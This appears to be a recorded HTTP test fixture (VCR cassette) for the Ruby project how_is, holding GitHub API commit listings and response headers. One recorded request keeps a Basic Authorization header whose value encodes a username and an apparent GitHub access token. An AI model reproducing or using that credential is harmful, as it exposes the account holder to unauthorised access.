i.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"56125160c3fc005c7281a8729590a4f29e8455b2","url":"https://api.github.com/repos/how-is/how_is/commits/56125160c3fc005c7281a8729590a4f29e8455b2","html_url":"https://github.com/how-is/how_is/commit/56125160c3fc005c7281a8729590a4f29e8455b2"}]},{"sha":"56125160c3fc005c7281a8729590a4f29e8455b2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTYxMjUxNjBjM2ZjMDA1YzcyODFhODcyOTU5MGE0ZjI5ZTg0NTViMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:46:57Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:46:57Z"},"message":"Alias Results#to_hash to Results#to_h, instead of reimplementing it.","tree":{"sha":"2c3e925a0a98b42d095b1a3cb6cc45207c6a035b","url":"https://api.github.com/repos/how-is/how_is/git/trees/2c3e925a0a98b42d095b1a3cb6cc45207c6a035b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/56125160c3fc005c7281a8729590a4f29e8455b2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/56125160c3fc005c7281a8729590a4f29e8455b2","html_url":"https://github.com/how-is/how_is/commit/56125160c3fc005c7281a8729590a4f29e8455b2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/56125160c3fc005c7281a8729590a4f29e8455b2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"becb9a19be8dc3f02d9c6d76456a43d7ceb5f3c2","url":"https://api.github.com/repos/how-is/how_is/commits/becb9a19be8dc3f02d9c6d76456a43d7ceb5f3c2","html_url":"https://github.com/how-is/how_is/commit/becb9a19be8dc3f02d9c6d76456a43d7ceb5f3c2"}]},{"sha":"becb9a19be8dc3f02d9c6d76456a43d7ceb5f3c2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmVjYjlhMTliZThkYzNmMDJkOWM2ZDc2NDU2YTQzZDdjZWI1ZjNjMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:45:57Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:45:57Z"},"message":"Reference correct class name.","tree":{"sha":"3284ef2fe8356c242c57a285d7492801044f08d8","url":"https://api.github.com/repos/how-is/how_is/git/trees/3284ef2fe8356c242c57a285d7492801044f08d8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/becb9a19be8dc3f02d9c6d76456a43d7ceb5f3c2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/becb9a19be8dc3f02d9c6d76456a43d7ceb5f3c2","html_url":"https://github.com/how-is/how_is/commit/becb9a19be8dc3f02d9c6d76456a43d7ceb5f3c2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/becb9a19be8dc3f02d9c6d76456a43d7ceb5f3c2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8dfa3084d0be4bd57a53a6273f55928a6918e9cf","url":"https://api.github.com/repos/how-is/how_is/commits/8dfa3084d0be4bd57a53a6273f55928a6918e9cf","html_url":"https://github.com/how-is/how_is/commit/8dfa3084d0be4bd57a53a6273f55928a6918e9cf"}]},{"sha":"8dfa3084d0be4bd57a53a6273f55928a6918e9cf","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGRmYTMwODRkMGJlNGJkNTdhNTNhNjI3M2Y1NTkyOGE2OTE4ZTljZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:39:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:39:32Z"},"message":"Make Contract more strict.","tree":{"sha":"9b614ef6f88e14ee2ee87044e13908bf27264d89","url":"https://api.github.com/repos/how-is/how_is/git/trees/9b614ef6f88e14ee2ee87044e13908bf27264d89"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8dfa3084d0be4bd57a53a6273f55928a6918e9cf","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8dfa3084d0be4bd57a53a6273f55928a6918e9cf","html_url":"https://github.com/how-is/how_is/commit/8dfa3084d0be4bd57a53a6273f55928a6918e9cf","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8dfa3084d0be4bd57a53a6273f55928a6918e9cf/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fa450dfc4b73944806ad7d0c1defc9705a027885","url":"https://api.github.com/repos/how-is/how_is/commits/fa450dfc4b73944806ad7d0c1defc9705a027885","html_url":"https://github.com/how-is/how_is/commit/fa450dfc4b73944806ad7d0c1defc9705a027885"}]},{"sha":"fa450dfc4b73944806ad7d0c1defc9705a027885","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmE0NTBkZmM0YjczOTQ0ODA2YWQ3ZDBjMWRlZmM5NzA1YTAyNzg4NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:35:26Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:35:26Z"},"message":"Create Fetcher::Results class.","tree":{"sha":"3bff572514a7994e8aed7acdc1171a3ec9f811d7","url":"https://api.github.com/repos/how-is/how_is/git/trees/3bff572514a7994e8aed7acdc1171a3ec9f811d7"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fa450dfc4b73944806ad7d0c1defc9705a027885","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fa450dfc4b73944806ad7d0c1defc9705a027885","html_url":"https://github.com/how-is/how_is/commit/fa450dfc4b73944806ad7d0c1defc9705a027885","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fa450dfc4b73944806ad7d0c1defc9705a027885/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0c2250ce297aa45fcece8c2d899b5f2610c17d05","url":"https://api.github.com/repos/how-is/how_is/commits/0c2250ce297aa45fcece8c2d899b5f2610c17d05","html_url":"https://github.com/how-is/how_is/commit/0c2250ce297aa45fcece8c2d899b5f2610c17d05"}]},{"sha":"0c2250ce297aa45fcece8c2d899b5f2610c17d05","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGMyMjUwY2UyOTdhYTQ1ZmNlY2U4YzJkODk5YjVmMjYxMGMxN2QwNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:07:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:07:52Z"},"message":"Make HowBad::Fetcher#call have a stricter contract.","tree":{"sha":"933f89474746d93f710150831924ca6dc1fba3db","url":"https://api.github.com/repos/how-is/how_is/git/trees/933f89474746d93f710150831924ca6dc1fba3db"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0c2250ce297aa45fcece8c2d899b5f2610c17d05","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0c2250ce297aa45fcece8c2d899b5f2610c17d05","html_url":"https://github.com/how-is/how_is/commit/0c2250ce297aa45fcece8c2d899b5f2610c17d05","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0c2250ce297aa45fcece8c2d899b5f2610c17d05/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ea59a26387ca0484cf5a2f8471c54223718399a3","url":"https://api.github.com/repos/how-is/how_is/commits/ea59a26387ca0484cf5a2f8471c54223718399a3","html_url":"https://github.com/how-is/how_is/commit/ea59a26387ca0484cf5a2f8471c54223718399a3"}]},{"sha":"ea59a26387ca0484cf5a2f8471c54223718399a3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWE1OWEyNjM4N2NhMDQ4NGNmNWEyZjg0NzFjNTQyMjM3MTgzOTlhMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:04:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T07:04:52Z"},"message":"Rename to_array_of_hashes so it''s clearer how it works.","tree":{"sha":"26a7724d5f9e73a8217ccc8b4758ba6aa3f671dc","url":"https://api.github.com/repos/how-is/how_is/git/trees/26a7724d5f9e73a8217ccc8b4758ba6aa3f671dc"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ea59a26387ca0484cf5a2f8471c54223718399a3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ea59a26387ca0484cf5a2f8471c54223718399a3","html_url":"https://github.com/how-is/how_is/commit/ea59a26387ca0484cf5a2f8471c54223718399a3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ea59a26387ca0484cf5a2f8471c54223718399a3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"32eee4e73c46ed161b48140d2442ad37e827388c","url":"https://api.github.com/repos/how-is/how_is/commits/32eee4e73c46ed161b48140d2442ad37e827388c","html_url":"https://github.com/how-is/how_is/commit/32eee4e73c46ed161b48140d2442ad37e827388c"}]},{"sha":"32eee4e73c46ed161b48140d2442ad37e827388c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzJlZWU0ZTczYzQ2ZWQxNjFiNDgxNDBkMjQ0MmFkMzdlODI3Mzg4Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-21T00:27:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-21T00:27:52Z"},"message":"Add fetcher spec.","tree":{"sha":"5f76dc7b1d7140dd137c6454d3273c5ef4e0d7a0","url":"https://api.github.com/repos/how-is/how_is/git/trees/5f76dc7b1d7140dd137c6454d3273c5ef4e0d7a0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/32eee4e73c46ed161b48140d2442ad37e827388c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/32eee4e73c46ed161b48140d2442ad37e827388c","html_url":"https://github.com/how-is/how_is/commit/32eee4e73c46ed161b48140d2442ad37e827388c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/32eee4e73c46ed161b48140d2442ad37e827388c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7f35beaf403265563520195fba34c0da681b6b4d","url":"https://api.github.com/repos/how-is/how_is/commits/7f35beaf403265563520195fba34c0da681b6b4d","html_url":"https://github.com/how-is/how_is/commit/7f35beaf403265563520195fba34c0da681b6b4d"}]},{"sha":"7f35beaf403265563520195fba34c0da681b6b4d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2YzNWJlYWY0MDMyNjU1NjM1MjAxOTVmYmEzNGMwZGE2ODFiNmI0ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-21T00:27:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-21T00:27:35Z"},"message":"Allow HowBad::Fetcher#call to accept a second argument.","tree":{"sha":"e8df23f73459b4e3302c0b84d82171034963dad4","url":"https://api.github.com/repos/how-is/how_is/git/trees/e8df23f73459b4e3302c0b84d82171034963dad4"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7f35beaf403265563520195fba34c0da681b6b4d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7f35beaf403265563520195fba34c0da681b6b4d","html_url":"https://github.com/how-is/how_is/commit/7f35beaf403265563520195fba34c0da681b6b4d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7f35beaf403265563520195fba34c0da681b6b4d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"10d53a6c1077efe9a830efcff69eec56baebbd5c","url":"https://api.github.com/repos/how-is/how_is/commits/10d53a6c1077efe9a830efcff69eec56baebbd5c","html_url":"https://github.com/how-is/how_is/commit/10d53a6c1077efe9a830efcff69eec56baebbd5c"}]},{"sha":"10d53a6c1077efe9a830efcff69eec56baebbd5c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTBkNTNhNmMxMDc3ZWZlOWE4MzBlZmNmZjY5ZWVjNTZiYWViYmQ1Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-21T00:11:02Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-21T00:11:02Z"},"message":"Remove useless specs.","tree":{"sha":"6114618fd603490120ef7f423675d87258bd6d68","url":"https://api.github.com/repos/how-is/how_is/git/trees/6114618fd603490120ef7f423675d87258bd6d68"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/10d53a6c1077efe9a830efcff69eec56baebbd5c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/10d53a6c1077efe9a830efcff69eec56baebbd5c","html_url":"https://github.com/how-is/how_is/commit/10d53a6c1077efe9a830efcff69eec56baebbd5c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/10d53a6c1077efe9a830efcff69eec56baebbd5c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"94879578c8b15ec46029632a230b0ce1091ecd6f","url":"https://api.github.com/repos/how-is/how_is/commits/94879578c8b15ec46029632a230b0ce1091ecd6f","html_url":"https://github.com/how-is/how_is/commit/94879578c8b15ec46029632a230b0ce1091ecd6f"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:49 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=18&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3327' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a626516bdf02ac253db7f4fc2e096312" Last-Modified: - Fri, 20 May 2016 22:28:18 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 1CD7:6668:2A2E3A:53A9B3:5CC36AF1 body: encoding: 